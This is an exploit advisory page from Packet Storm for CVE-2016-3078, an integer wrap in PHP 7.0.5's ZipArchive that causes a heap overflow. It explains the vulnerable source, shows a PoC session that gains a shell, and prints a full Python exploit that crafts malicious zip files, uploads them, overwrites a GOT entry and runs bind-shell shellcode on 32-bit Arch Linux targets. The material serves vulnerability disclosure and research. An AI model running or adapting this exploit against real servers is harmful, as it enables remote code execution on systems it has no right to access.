what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHP 7.x Heap Overflow

PHP 7.x Heap Overflow
Posted Apr 28, 2016
Authored by Hans Jerry Illikainen

An integer wrap may occur in PHP 7.x before version 7.0.6 when reading zip files with the getFromIndex() and getFromName() methods of ZipArchive, resulting in a heap overflow. Full exploit included.

tags | exploit, overflow, php
advisories | CVE-2016-3078
SHA-256 | e8c95e113360c07e5f57ee1a402ad502f85525d7f354dd5b76ad74e45439655d

PHP 7.x Heap Overflow

Change Mirror Download
Details
=======

An integer wrap may occur in PHP 7.x before version 7.0.6 when reading
zip files with the getFromIndex() and getFromName() methods of
ZipArchive, resulting in a heap overflow.

php-7.0.5/ext/zip/php_zip.c
,----
| 2679 static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */
| 2680 {
| ....
| 2684 struct zip_stat sb;
| ....
| 2689 zend_long len = 0;
| ....
| 2692 zend_string *buffer;
| ....
| 2702 if (type == 1) {
| 2703 if (zend_parse_parameters(ZEND_NUM_ARGS(), "P|ll", &filename, &len, &flags) == FAILURE) {
| 2704 return;
| 2705 }
| 2706 PHP_ZIP_STAT_PATH(intern, ZSTR_VAL(filename), ZSTR_LEN(filename), flags, sb); // (1)
| 2707 } else {
| 2708 if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ll", &index, &len, &flags) == FAILURE) {
| 2709 return;
| 2710 }
| 2711 PHP_ZIP_STAT_INDEX(intern, index, 0, sb); // (1)
| 2712 }
| ....
| 2718 if (len < 1) {
| 2719 len = sb.size;
| 2720 }
| ....
| 2731 buffer = zend_string_alloc(len, 0); // (2)
| 2732 n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer)); // (3)
| ....
| 2742 }
`----

With `sb.size' from (1) being:

php-7.0.5/ext/zip/lib/zip_stat_index.c
,----
| 038 ZIP_EXTERN int
| 039 zip_stat_index(zip_t *za, zip_uint64_t index, zip_flags_t flags,
| 040 zip_stat_t *st)
| 041 {
| ...
| 043 zip_dirent_t *de;
| 044
| 045 if ((de=_zip_get_dirent(za, index, flags, NULL)) == NULL)
| 046 return -1;
| ...
| 063 st->size = de->uncomp_size;
| ...
| 086 }
`----

Both `size' and `uncomp_size' are unsigned 64bit integers:

php-7.0.5/ext/zip/lib/zipint.h
,----
| 339 struct zip_dirent {
| ...
| 351 zip_uint64_t uncomp_size; /* (cl) size of uncompressed data */
| ...
| 332 };
`----

php-7.0.5/ext/zip/lib/zip.h
,----
| 279 struct zip_stat {
| ...
| 283 zip_uint64_t size; /* size of file (uncompressed) */
| ...
| 290 };
`----

Whereas `len' is signed and has a platform-dependent size:

php-7.0.5/Zend/zend_long.h
,----
| 028 #if defined(__x86_64__) || defined(__LP64__) || defined(_LP64) || defined(_WIN64)
| 029 # define ZEND_ENABLE_ZVAL_LONG64 1
| 030 #endif
| ...
| 033 #ifdef ZEND_ENABLE_ZVAL_LONG64
| 034 typedef int64_t zend_long;
| ...
| 043 #else
| 044 typedef int32_t zend_long;
| ...
| 053 #endif
`----

Uncompressed file sizes in zip-archives may be specified as either 32-
or 64bit values; with the latter requiring that the size be specified in
the extra field in zip64 mode.

Anyway, as for the invocation of `zend_string_alloc()' in (2):

php-7.0.5/Zend/zend_string.h
,----
| 119 static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent)
| 120 {
| 121 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); // (4)
| ...
| 133 ZSTR_LEN(ret) = len; // (5)
| 134 return ret;
| 135 }
`----

The `size' argument to the `pemalloc' macro is aligned/adjusted in (4)
whilst the *original* value of `len' is stored as the size of the
allocated buffer in (5). No boundary checking is done in (4) and it may
thus wrap, which would lead to a heap overflow during the invocation of
`zip_fread()' in (3) as the `toread' argument is `ZSTR_LEN(buffer)':

php-7.0.5/Zend/zend_string.h
,----
| 041 #define ZSTR_LEN(zstr) (zstr)->len
`----

On a 32bit system:

,----
| (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0xfffffffe))
| $1 = 0x10
`----

The wraparound may also occur on 64bit systems with `uncomp_size'
specified in the extra field (Zip64 mode; ext/zip/lib/zip_dirent.c:463).
However, it won't result in a buffer overflow because of `zip_fread()'
bailing on a size that would have wrapped the allocation in (4):

php-7.0.5/ext/zip/lib/zip_fread.c
,----
| 038 ZIP_EXTERN zip_int64_t
| 039 zip_fread(zip_file_t *zf, void *outbuf, zip_uint64_t toread)
| 040 {
| ...
| 049 if (toread > ZIP_INT64_MAX) {
| 050 zip_error_set(&zf->error, ZIP_ER_INVAL, 0);
| 051 return -1;
| 052 }
| ...
| 063 }
`----

php-7.0.5/ext/zip/lib/zipconf.h
,----
| 130 #define ZIP_INT64_MAX 0x7fffffffffffffffLL
`----

,----
| (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0x7fffffffffffffff))
| $1 = 0x8000000000000018
`----


PoC
===

Against Arch Linux i686 with php-fpm 7.0.5 behind nginx [1]:

,----
| $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
| [*] this may take a while
| [*] 103 of 4096 (0x67fd0)...
| [+] connected to 1.2.3.4:5555
|
| id
| uid=33(http) gid=33(http) groups=33(http)
|
| uname -a
| Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST
| 2016 i686 GNU/Linux
|
| pacman -Qs php-fpm
| local/php-fpm 7.0.5-2
| FastCGI Process Manager for PHP
|
| cat upload.php
| <?php
| $zip = new ZipArchive();
| if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
| echo "cannot open archive\n";
| } else {
| for ($i = 0; $i < $zip->numFiles; $i++) {
| $data = $zip->getFromIndex($i);
| }
| $zip->close();
| }
| ?>
`----


Solution
========

This issue has been fixed in php 7.0.6.



Footnotes
_________

[1] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3078]


--
Hans Jerry Illikainen


exploit.py:

#!/usr/bin/env python2
#
# PoC for CVE-2016-3078 targeting Arch Linux i686 running php-fpm 7.0.5
# behind nginx.
#
# ,----
# | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
# | [*] this may take a while
# | [*] 103 of 4096 (0x67fd0)...
# | [+] connected to 1.2.3.4:5555
# |
# | id
# | uid=33(http) gid=33(http) groups=33(http)
# |
# | uname -a
# | Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST
# | 2016 i686 GNU/Linux
# |
# | pacman -Qs php-fpm
# | local/php-fpm 7.0.5-2
# | FastCGI Process Manager for PHP
# |
# | cat upload.php
# | <?php
# | $zip = new ZipArchive();
# | if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
# | echo "cannot open archive\n";
# | } else {
# | for ($i = 0; $i < $zip->numFiles; $i++) {
# | $data = $zip->getFromIndex($i);
# | }
# | $zip->close();
# | }
# | ?>
# `----
#
# - Hans Jerry Illikainen
#
import os
import sys
import argparse
import socket
import urlparse
import collections
from struct import pack
from binascii import crc32

import requests

# bindshell from PEDA
shellcode = [
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68%(port)s\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80"
]

# 100k runs had the zend_mm_heap mapped at 0xb6a00040 ~53.333% and at
# 0xb6c00040 ~46.667% of the time.
zend_mm_heap = [0xb6a00040, 0xb6c00040]

# offset to the payload from the zend heap
zend_mm_heap_offset = "0x%xfd0"

# Zend/zend_alloc_sizes.h
zend_mm_max_small_size = 3072

# exit()
R_386_JUMP_SLOT = 0x08960a48

ZipEntry = collections.namedtuple("ZipEntry", "name, data, size")


def zip_file_header(fname, data, size):
return "".join([
pack("<I", 0x04034b50), # signature
pack("<H", 0x0), # minimum version
pack("<H", 0x0), # general purpose bit flag
pack("<H", 0x0), # compression method
pack("<H", 0), # last modification time
pack("<H", 0), # last modification date
pack("<I", crc32(data) & 0xffffffff), # crc-32
pack("<I", len(data)), # compressed size
pack("<I", size), # uncompressed size
pack("<H", len(fname)), # filename length
pack("<H", 0x0), # extra field length
fname, # filename
"", # extra
data # compressed data
])


def zip_central_dir(offset, fname, data, size):
return "".join([
pack("<I", 0x02014b50), # signature
pack("<H", 0x0), # archive created with version
pack("<H", 0x0), # archive requires version
pack("<H", 0x0), # general purpose bit flag
pack("<H", 0x0), # compression method
pack("<H", 0), # last modification time
pack("<H", 0), # last modification date
pack("<I", crc32(data) & 0xffffffff), # crc-32
pack("<I", len(data)), # compressed size
pack("<I", size), # uncompressed size
pack("<H", len(fname)), # filename length
pack("<H", 0x0), # extra field length
pack("<H", 0x0), # comment length
pack("<H", 0x0), # disk number
pack("<H", 0x0), # internal file attributes
pack("<I", 0x0), # external file attributes
pack("<I", offset), # offset of file header
fname, # filename
"", # extra
"", # comment
])


def zip_central_dir_end(num, size, offset):
return "".join([
pack("<I", 0x06054b50), # signature
pack("<H", 0x0), # disk number
pack("<H", 0x0), # disk where central directory starts
pack("<H", num), # number of central directories on this disk
pack("<H", num), # total number of central directory records
pack("<I", size), # size of central directory
pack("<I", offset), # offset of central directory
pack("<H", 0x0), # comment length
"" # comment
])


def zip_entries(addr, shellcode):
if len(shellcode) > zend_mm_max_small_size:
sys.exit("[-] shellcode is too big")

size = 0xfffffffe
length = 256
entries = [ZipEntry("shellcode", shellcode, zend_mm_max_small_size)]
for i in range(16):
data = "A" * length
if i == 0:
data = pack("<I", (R_386_JUMP_SLOT - 0x10)) * (length / 4)
elif i == 3:
data = pack("<I", addr) + data[4:]
entries.append(ZipEntry("overflow", data, size))
return entries


def zip_create(entries):
archive = []
directories = []
offset = 0
for e in entries:
file_header = zip_file_header(e.name, e.data, e.size)
directories.append((e, offset))
offset += len(file_header)
archive.append(file_header)

directories_length = 0
for e, dir_offset in directories:
central_dir = zip_central_dir(dir_offset, e.name, e.data, e.size)
directories_length += len(central_dir)
archive.append(central_dir)

end = zip_central_dir_end(len(entries), directories_length, offset)
archive.append(end)
return "".join(archive)


def zip_send(url, archive):
files = {"file": archive}
try:
req = requests.post(url, files=files, timeout=5)
except requests.exceptions.ConnectionError:
sys.exit("[-] failed to send archive")
except requests.exceptions.Timeout:
return

return req.status_code


def connect(host, port):
addr = socket.gethostbyname(host)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((addr, port))
except socket.error:
return

print("\n[+] connected to %s:%d" % (host, port))
if os.fork() == 0:
while True:
try:
data = sock.recv(8192)
except KeyboardInterrupt:
sys.exit("\n[!] receiver aborting")
if data == "":
sys.exit("[!] receiver aborting")
sys.stdout.write(data)
else:
while True:
try:
cmd = sys.stdin.readline()
except KeyboardInterrupt:
sys.exit("[!] sender aborting")
sock.send(cmd)


def get_shellcode(port):
p = pack(">H", port)
if "\x00" in p:
sys.exit("[-] encode your NUL-bytes")
return "".join(shellcode) % {"port": p}


def get_args():
p = argparse.ArgumentParser()
p.add_argument("--tries", type=int, default=4096)
p.add_argument("--bind-port", type=int, default=8000)
p.add_argument("url", help="POST url")
return p.parse_args()


def main():
args = get_args()
shellcode = get_shellcode(args.bind_port)
host = urlparse.urlparse(args.url).netloc.split(":")[0]

print("[*] this may take a while")
for i in range(args.tries):
offset = int(zend_mm_heap_offset % i, 16)
sys.stdout.write("\r[*] %d of %d (0x%x)..." % (i, args.tries, offset))
sys.stdout.flush()
for heap in zend_mm_heap:
archive = zip_create(zip_entries(heap + offset, shellcode))
if zip_send(args.url, archive) == 404:
sys.exit("\n[-] 404: %s" % args.url)
connect(host, args.bind_port)
print("\n[-] nope...")

if __name__ == "__main__":
main()


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close